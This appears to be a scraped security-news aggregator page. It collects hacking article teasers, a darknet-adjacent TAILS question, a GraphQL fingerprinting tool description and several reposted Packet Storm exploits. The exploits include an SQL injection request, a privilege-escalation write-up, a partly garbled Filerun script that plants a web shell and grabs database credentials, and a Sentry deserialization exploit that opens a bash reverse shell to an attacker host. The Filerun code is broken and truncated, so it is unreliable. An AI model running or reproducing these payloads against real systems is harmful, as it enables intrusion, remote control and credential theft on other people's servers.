Continue reading on Medium » (https://thexssrat.medium.com/aws-waf-analysis-how-it-works-and-how-to-attack-it-8a456e561c74?source=rss------bug_bounty-5)

Hacking on Medium
Another DeFi Hack of 2021: Vee Finance Losses $35 Million in the Crypto Sector


Vee Finance, an Avalanche-based Defi protocol, suffered a loss of $35 million in BTC and ETH. The team monitored numerous abnormal…

Continue reading on CoinMarkets »

Hacking on Medium
Is your smartphone safe from hackers? Here’s how to check…


These days, smartphones are potentially no less precious than anything as they contain important personal information about their owners…

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Hacking on Medium
The 3 Main Things (And 14 Sub Things) I Measure Daily/Monthly


Everything is about to get a whole lot better.

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Hacking on Medium
AWS WAF analysis: How it works and how to attack it


Continue reading on Medium »

Hacking on Medium
Building The Ultimate Fully Undetectable Phishing Dropper


Having finished the Sektor7 Malware Development Essentials and TCM Security’s Practical Phishing Assessments course, I wanted to build out…

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Deep Web
Booting TAILS using a HP v212w Flash Drive USB Stick (2.0 USB)

Hello, I'm new....

I've recently brought myself a HP v212w Flash Drive USB Stick and I'm tempted of using it specifically for booting TAILS onto my laptop only and I was wondering whether this specific USB stick would work for this intended use.

The reason on why I am asking this is because on the DNM Bible it states that some USBs are problematic for booting TAILS and provides a list but I can't access that list because the DNM subreddit was banned.

submitted by /u/7Leviathan7
[link] [comments]

Kali Linux TutorialsGraphw00F : GraphQL fingerprinting tool for GQL endpoints
Graphw00F (inspired by wafw00f) is the GraphQL fingerprinting tool for GQL endpoints, it sends a mix of benign and malformed queries to determine the GraphQL engine running behind the scenes. graphw00f will provide insights into what security defences each technology provides out of the box, and whether they are on or off by default.

Specially crafted queries cause different GraphQL server implementations to respond uniquely to queries, mutations and subscriptions, this makes it trivial to fingerprint the backend engine and distinguish between the various GraphQL implementations. (CWE: CWE-200)

Detections

graphw00f currently attempts to discover the following GraphQL engines:

* Graphene – Python
* Ariadne – Python
* Apollo – TypeScript
* graphql-go – Go
* gqlgen – Go
* WPGraphQL – PHP
* GraphQL API for WordPress – PHP
* Ruby – GraphQL
* graphql-php – PHP
* Hasura – Haskell
* HyperGraphQL – Java
* graphql-java – Java
* Juniper – Rust
* Sangria – Scala
* Flutter – Dart
* Diana.jl – Julia
* Strawberry – Python
* Tartiflette – Python

GraphQL Technologies Defence Matrices

Each fingerprinted technology (e.g. Graphene, Ariadne, …) has an associated document (example for graphene) which covers the security defence mechanisms the specific technology supports to give a better idea how the implementation may be attacked.
Field SuggestionsQuery Depth LimitQuery Cost AnalysisAutomatic Persisted QueriesIntrospectionDebug ModeBatch RequestsOn by DefaultNo SupportNo SupportNo SupportEnabled by DefaultN/AOff by Default
Prerequisites

* python3
* requests

Installation

Clone Repository

git clone git@github.com:dolevf/graphw00f.git

Run graphw00f

python3 main.py -h

Usage: main.py -h
Options:
-h, –help show this help message and exit
-r, –noredirect Do not follow redirections given by 3xx responses
-t URL, –target=URL target url with the path
-o OUTPUT_FILE, –output-file=OUTPUT_FILE
Output results to a file (CSV)
-l, –list List all GraphQL technologies graphw00f is able to
detect
-v, –version Print out the current version and exit.

Example

python3 main.py -t http://127.0.0.1:5000/graphql
+——————-+
| graphw00f |
+——————-+
*** ***
** ***
** **
+————–+ +————–+
| Node X | | Node Y |
+————–+ +————–+
*** ***
** **
** **
+————+
| Node Z |
+————+
graphw00f – v1.0.0
The fingerprinting tool for GraphQL
[] Checking if GraphQL is available at https://demo.hypergraphql.org:8484/graphql… [] Found GraphQL…
[] Attempting to fingerprint… [] Discovered GraphQL Engine: (HyperGraphQL)
[!] Attack Surface Matrix: https://github.com/dolevf/graphw00f/blob/main/docs/hypergraphql.md
[!] Technologies: Java
[!] Homepage: https://www.hypergraphql.org
[*] Completed.


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Exploit Collector
Cloudron 6.2 Cross Site Scripting


Cloudron version 6.2 suffers from a cross site scripting vulnerability.

MD5 | 04e5263b2aba1564e3b29ea91dd03411

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# Exploit Title: Cloudron 6.2 - 'returnTo ' Cross Site Scripting (Reflected)
# Date: 10.06.2021
# Exploit Author: Akıner Kısa
# Vendor Homepage: https://cloudron.io
# Software Link: https://www.cloudron.io/get.html
# Version: 6.3 >
# CVE : CVE-2021-40868


Proof of Concept:

1. Go to https://localhost/login.html?returnTo=
2. Type your payload after returnTo=
3. Fill in the login information and press the sign in button.




Source:packetstormsecurity.com

Exploit CollectorSimple Attendance System 1.0 SQL Injection


Simple Attendance System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 62a8cbbf17593175cd123e2b14cd74ef

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# Exploit Title: Simple Attendance System 1.0 - Unauthenticated Blind SQLi
# Exploit Author: ()t/\/\1
# Date: September 21, 2021
# Vendor Homepage: https://www.sourcecodester.com/php/14948/simple-attendance-system-php-and-sqlite-free-source-code.html
# Tested on: Linux
# Version: v1.0

# Exploit Description:
The application suffers from an unauthenticated SQL Injection vulnerability.Input passed through 'employee_code' POST parameter in 'http://127.0.0.1//attendance/Actions.php?a=save_attendance' is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and retrieve sensitive data.


# PoC request

POST /attendance/Actions.php?a=save_attendance HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/attendance/attendance.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 138
Connection: close
Cookie: PHPSESSID=11c4e96bb334b51540f4758e9d33885d


employee_code=2d'+OR+SUBSTR((select+user_id+from+user_list+where+username="admin"),1,1)="1"--&att_type_id=1&date_created=&att_type=Time+In



Source:packetstormsecurity.com

Exploit CollectorTotalAV 5.15.69 Unquoted Service Path


TotalAV version 5.15.69 suffers from an unquoted service path vulnerability.

MD5 | f60e46c8d3377f891ee188835e438cd2

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# Exploit Title: TotalAV - Unquoted Service Path
# Date: 2021-09-22
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://www.totalav.com
# Software Link: https://download.totalav.com/windows/beta-trial or https://install.protected.net/windows/cdn3/5.15.69/TotalAV.exe
# Version: 5.15.69
# Tested on: Windows 10 Pro 20H2 and 21H1 x64
# CVE: CVE-2021-35313

The PC Security Management Service, PC Security Management Monitoring Service, and Anti-Malware SDK Protected Service
services from TotalAV version 5.15.69 are affected by unquoted service path (CWE-428) vulnerability which may allow a
user to gain SYSTEM privileges since they all running with higher privileges. To exploit the vulnerability is possible
to place executable(s) following the path of the unquoted string.

Affected excecutables services: SecurityService, SecurityServiceMonitor, AMSProtectedService:

PC Security Management Service SecurityService C:\Program Files (x86)\TotalAV\SecurityService.exe Auto
PC Security Management Monitoring Service SecurityServiceMonitor C:\Program Files (x86)\TotalAV\SecurityService.exe --monitor Auto
Anti-Malware SDK Protected Service AMSProtectedService C:\Program Files (x86)\TotalAV\savapi\elam_ppl\amsprotectedservice.exe Auto

C:\Users\user>sc qc SecurityService
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: SecurityService
TIPO : 10 WIN32_OWN_PROCESS
TIPO_AVVIO : 2 AUTO_START
CONTROLLO_ERRORE : 1 NORMAL
NOME_PERCORSO_BINARIO : C:\Program Files(x86)\TotalAV\SecurityService.exe
GRUPPO_ORDINE_CARICAMENTO :
TAG : 0
NOME_VISUALIZZATO : PC Security Management Service
DIPENDENZE :
SERVICE_START_NAME : LocalSystem

C:\Users\user>sc qc SecurityServiceMonitor
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: SecurityServiceMonitor
TIPO : 10 WIN32_OWN_PROCESS
TIPO_AVVIO : 2 AUTO_START
CONTROLLO_ERRORE : 1 NORMAL
NOME_PERCORSO_BINARIO : C:\Program Files(x86)\TotalAV\SecurityService.exe --monitor
GRUPPO_ORDINE_CARICAMENTO :
TAG : 0
NOME_VISUALIZZATO : PC Security Management Monitoring Service
DIPENDENZE :
SERVICE_START_NAME : LocalSystem

C:\Users\user>sc qc AMSProtectedService
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: AMSProtectedService
TIPO : 10 WIN32_OWN_PROCESS
TIPO_AVVIO : 2 AUTO_START
CONTROLLO_ERRORE : 1 NORMAL
NOME_PERCORSO_BINARIO : C:\Program Files (x86)\TotalAV\savapi\elam_ppl\amsprotectedservice.exe
GRUPPO_ORDINE_CARICAMENTO :
TAG : 0
NOME_VISUALIZZATO : Anti-Malware SDK Protected Service
DIPENDENZE :
SERVICE_START_NAME : LocalSystem





Source:packetstormsecurity.com

Exploit Collector
Filerun 2021.03.26 Remote Code Execution


https://3.bp.blogspot.com/-SgyDIXUTMbc/WWlu_miSAcI/AAAAAAAAIKE/fKFdSswhFNIqExJ_09QJseTEI_nz_ynRACLcBGAs/s1600/h119.png
Filerun version 2021.03.26 authenticated remote code execution exploit.

MD5 | f9ac55e431c2a7f0daa0eb4d6922bea0

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# Exploit Title: Filerun 2021.03.26 - Remote Code Execution (RCE) (Authenticated)
# Date: 09/21/2021
# Exploit Author: syntegris information solutions GmbH
# Credits: Christian P.
# Vendor Homepage: https://filerun.com
# Software Link: https://f.afian.se/wl/?id=SkPwYC8dOcMIDWohmyjOqAgdqhRqCZ3X&fmode=download&recipient=d3d3LmZpbGVydW4uY29t
# Version: 2021.03.26
# Tested on: official docker image
# PoC for exploiting a chain of a stored XSS and authenticated Remote Code Execution
import requests
import time
import sys

# this is the plain version of the payload below
"""
var xmlhttp = new XMLHttpRequest();
var url = '/?module=cpanel&section=settings&page=image_preview&action=checkImageMagick'
var payload = "echo '<?php' > shell.php #";
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == XMLHttpRequest.DONE) {
if (xmlhttp.status == 200) {
console.log(xmlhttp.responseText);
}
}
};
xmlhttp.open("POST", url, true);
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.send("mode=exec&path=convert|"+payload);
"""

if not len(sys.argv) == 2:
print("missing target url")
sys.exit(1)

target = sys.argv[1]
def inject_code():
payload = "var xmlhttp = new XMLHttpRequest();
var url = '/?module=cpanel&section=settings&page=image_preview&action=checkImageMagick'
var payload = "echo '<?php' > shell.php #";

xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == XMLHttpRequest.DONE) {
if (xmlhttp.status == 200) {
console.log(xmlhttp.responseText);
}
else if (xmlhttp.status == 400) {
alert('There was an error 400');
}
else {
alert('something else other than 200 was returned');
}
}
};

xmlhttp.open("POST", url, true);
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.send("mode=exec&path=convert|"
req = requests.post(
"%s/?module=fileman&page=login&action=login" % target,
data={'username': 'nonexistend', 'password': 'wrong', 'otp':'',
'two_step_secret':'','language':''}, headers={'X-Forwarded-For': '/asdasdasd ' % payload}
)
def check_shell_exists():
req = requests.get("%s/shell.php" % target)
if req.status_code != 200:
return False
return True

def process_command(command):
req = requests.get("%s/shell.php?cmd=%s" % (target, command))
print(req.text)

while True:
print("Injecting new log message...")
inject_code()
time.sleep(10)
if check_shell_exists():
print("Shell exists under '%s/shell.php?cmd=ls'" % target)
break
print("Lets get autoconfig.php which contains database credentials...")
process_command("cp system/data/autocon[...]

Exploit CollectorSentry 8.2.0 Remote Code Execution


Sentry version 8.2.0 suffers from a remote code execution vulnerability.

MD5 | 7ab59d06aee52c87e42e7da434c4a24b

Download



# Exploit Title: Sentry 8.2.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 22/09/2021
# Exploit Author: Mohin Paramasivam (Shad0wQu35t)
# Vulnerability Discovered By : Clement Berthaux (SYNACKTIV)
# Software Link: https://sentry.io/welcome/
# Advisory: https://doc.lagout.org/Others/synacktiv_advisory_sentry_pickle.pdf
# Tested on: Sentry 8.0.0
# Fixed Versions : 8.1.4 , 8.2.2
# NOTE : Only exploitable by a user with Superuser privileges.
# Example Usage : https://imgur.com/a/4w5rH5s

import requests
import re
import warnings
from bs4 import BeautifulSoup
import sys
import base64
import urllib
import argparse
import os
import time
from cPickle import dumps
import subprocess
from base64 import b64encode
from zlib import compress
from shlex import split
from datetime import datetime



parser = argparse.ArgumentParser(description='Sentry < 8.2.2 Authenticated RCE')
parser.add_argument('-U',help='Sentry Admin Username / Email')
parser.add_argument('-P',help='Sentry Admin Password')
parser.add_argument('-l',help='Rev Shell LHOST')
parser.add_argument('-p',help='Rev Shell LPORT ',type=int)
parser.add_argument('--url',help='Sentry Login URL ')
args = parser.parse_args()


username = args.U
password = args.P
lhost = args.l
lport = args.p
sentry_url = args.url



# Generate Payload


class PickleExploit(object):
def __init__(self, command_line):
self.args = split(command_line)
def __reduce__(self):
return (subprocess.Popen, (self.args,))
rev_shell = '/bin/bash -c "bash -i >& /dev/tcp/%s/%s 0>&1"' %(lhost,lport)
payload = b64encode(compress(dumps(PickleExploit(rev_shell))))

print("\r\n[+] Using Bash Reverse Shell : %s" %(rev_shell))
print("[+] Encoded Payload : %s" %(payload))




# Perform Exploitation

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
request = requests.Session()
print("[+] Retrieving CSRF token to submit the login form")
print("[+] URL : %s" %(sentry_url))
time.sleep(1)
page = request.get(sentry_url)
html_content = page.text
soup = BeautifulSoup(html_content,features="lxml")
token = soup.findAll('input')[0].get("value")


print("[+] CSRF Token : "+token)
time.sleep(1)

#Login

proxies = {
"http" : "http://127.0.0.1:8080",
"https" : "https://127.0.0.1:8080",
}

login_info ={
"csrfmiddlewaretoken": token,
"op": "login",
"username": username,
"password": password
}


login_request = request.post(sentry_url,login_info)


if login_request.status_code==200:
print("[+] Login Successful")
time.sleep(1)

else:

print("Login Failed")
print(" ")
sys.exit()


#get admin page
split_url = sentry_url.split("/")[2:]
main_url = "http://"+split_url[0]
audit_url = main_url+"/admin/sentry/auditlogentry/add/"

#request auditpage


date = datetime.today().strftime('%Y-%m-%d')
time = datetime.today().strftime('%H:%M:%S')


exploit_fields = {

"csrfmiddlewaretoken" : request.cookies['csrf'],
"organization" : "1",
"actor_label" : "root@localhost",
"actor" : "1",
"actor_key" : " ",
"target_object" : "2",
"target_user" : " ",
"event" : "31",
"ip_address" : "127.0.0.1",
"data" : payload,
"datetime_0" : date,
"datetime_1" : time,
"initial-datetime_0" : date,
"initial-datetime_1" : time,
"_save" : "Save"
}

print("[+] W00t W00t Sending Shell :) !!!")
stager = request.post(audit_url,exploit_fields)

if stager.status_code==200:
print("[+] Check nc listener!")
else:
print("Something Went Wrong or Not Vulnerable :(")




Source:packetstormsecurity.com